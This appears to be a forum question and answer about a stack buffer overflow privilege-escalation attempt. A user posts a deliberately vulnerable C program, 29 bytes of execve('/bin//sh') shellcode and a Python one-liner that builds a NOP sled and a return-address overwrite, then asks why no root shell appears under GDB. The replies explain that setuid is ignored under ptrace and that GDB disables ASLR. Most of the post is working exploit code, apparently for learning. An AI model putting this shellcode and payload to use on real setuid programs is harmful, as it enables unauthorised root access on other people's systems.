I am trying to exploit privilege escalation for a vulnerable program with root privilege. I tried a shell code for that but I do not know where I am making a mistake.
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buf[256];
int len, i;
scanf("%s", buf);
len = strlen(buf);
printf("%s\n", buf);
return 0;
}
The address of buffer starts at "0x7fffffffdfd0". The size of buffer is 272 Bytes. I have used the following shell code which is 29 bytes:
\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05
Additionally, I have used the following input for the attack scenario:
(python -c 'print \x90"*243+"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"+"\xd0\xdf\xff\xff\xff\x7f"') > payload.txt
When I run the program with "run < payload.txt " in GDB, Ido not receive the root access. Any idea or solution would be appreciated.
That is expected: setuid programs do not get special privileges from the kernel when they are being
ptraced (when they run under debugger). Otherwise it would be possible to hijack any setuid program (not just a vulnerable one).How do you know that? Did you find that address with GDB? Have you disabled ASLR?
GDB disables ASLR (in order to make debugging easier -- everything is always at the same address).
If you didn't disable ASLR system-wide, then
bufferlikely does not start at0x7fffffffdfd0.